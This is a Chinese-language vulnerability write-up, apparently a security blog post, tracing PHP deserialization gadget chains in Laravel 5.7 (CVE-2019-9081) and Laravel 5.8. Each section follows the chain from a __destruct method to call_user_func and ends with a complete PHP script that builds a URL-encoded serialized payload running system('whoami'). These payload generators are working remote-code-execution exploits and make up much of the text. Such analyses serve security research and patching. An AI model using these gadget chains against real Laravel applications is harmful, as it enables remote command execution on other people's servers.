laravel5.7(CVE-2019-9081)
漏洞分析
漏洞起始点位于vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php中 PendingCommand类的__destruct方法

在220行调用了run方法,跟进该方法

首先代码段执行到 $this->mockConsoleOutput(); 跟进去看一下

我们的目的是走出 mockConsoleOutput函数,不影响正常执行代码即可,那么需要继续跟进162行的createABufferedOutputMock函数

我们需要正常执行195行的foreach函数,在这里$this->test我们可以控制,我们需要找到一个存在 expectedOutput属性的类进行进一步的操作,但是这样的类虽然存在,但是无法被框架自动加载,在这里我们可以使用__get魔术方法,这里选择vendor\laravel\framework\src\Illuminate\Auth\GenericUser.php中GenericUser类的__get方法

这里 this->test为GenericUser的一个对象,进而可以走过该处foreach的代码段,接着回到mockConsoleOutput方法,在165行同样存在着类似的foreach代码段,我们可以使用相同的方法正常走过该段代码,接着回到run方法,来到该段代码
1
| $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
|
调试发现Kernel::class的值为Illuminate\Contracts\Console\Kernel

继续跟踪调试,来到container类中的resolve方法,存在着下面的代码

跟进 getConcrete,存在如下代码段

在这里我们可以寻找一个继承了Container的类来控制 this->bindings为如下值
1
| array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'))
|
回到 resolve方法,会走到如下代码段

跟进isBuildable


很显然会走进上面的else分支调用make方法,跟进后发现代码段其实是重新做了一次上面的操作,重新调用了 getConcrete方法,最后进行Illuminate\Foundation\Application的build操作,最后
$this->app[Kernel::class]返回的是Application的一个对象,接着会调用该对象的call方法,但是该对象中不存在call方法,进而会调用其父类Container中的call方法

跟进 BoundMethod::call

该处调用了 call_user_func_array,我们知道该方法是可以执行代码的,调试后发现该处可以控制为如下的利用代码
1
| call_user_func_array('system',array('whoami'))
|
payload编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php namespace Illuminate\Foundation\Testing; use Illuminate\Auth\GenericUser; use Illuminate\Foundation\Application; class PendingCommand{ public $test; protected $app; protected $command; protected $parameters; public function __construct() { $this->app = new Application(); $this->test = new GenericUser(); $this->command = 'system'; $this->parameters = array('whoami'); } } namespace Illuminate\Auth; class GenericUser{ protected $attributes; public function __construct() { $this->attributes = array('expectedQuestions'=>array('a'=>'b'),'expectedOutput'=>array('c'=>'d')); } } namespace Illuminate\Foundation; class Application{ protected $bindings = []; public function __construct() { $this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'),'Illuminate\Foundation\Application'=>array('concrete'=>'Illuminate\Foundation\Application')); } } use Illuminate\Foundation\Testing\PendingCommand; $a = new PendingCommand(); echo urlencode(serialize($a));
|
laravel5.8(一)
漏洞分析
起始点位于、vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php中的__destruct方法

该处的$this->events可控,我们可以利用该处调用位于 vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php中的dispatch方法

如果满足了if条件,代码会调用 dispatchToQueue方法,跟进该方法

在150行处调用了 call_user_func,并且两个参数也是可控的,在该处我们可以达到执行命令的目的,那么回过来看一下如何满足前面的if条件
this->commandShouldBeQueued($command),跟进去看一下

ShouldQueue是一个接口,我们需要将$command设置为一个ShouldQueue的实现类,这里选用vendor\laravel\framework\src\Illuminate\Broadcasting\BroadcastEvent.php中的类,同时为了满足call_user_func的第二个参数,我们需要在该类中设置一个connection属性。来作为调用函数的参数
最后来梳理下利用链
1 2 3
| (PendingBroadcast)->__distruct() (Dispatcher)->dispatch() (Dispatcher)->dispatchToQueue()->call_user_func()
|
payload编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php namespace Illuminate\Broadcasting; use Illuminate\Broadcasting\BroadcastEvent; use Illuminate\Bus\Dispatcher; class PendingBroadcast{ protected $events; protected $event; public function __construct() { $this->event = new BroadcastEvent(); $this->events = new Dispatcher(); } } namespace Illuminate\Bus; class Dispatcher{ protected $queueResolver; public function __construct() { $this->queueResolver = 'system'; } } namespace Illuminate\Broadcasting; class BroadcastEvent{ public $connection; public function __construct() { $this->connection = 'whoami'; } } use Illuminate\Broadcasting\PendingBroadcast; $a = new PendingBroadcast(); echo urlencode(serialize($a));
|
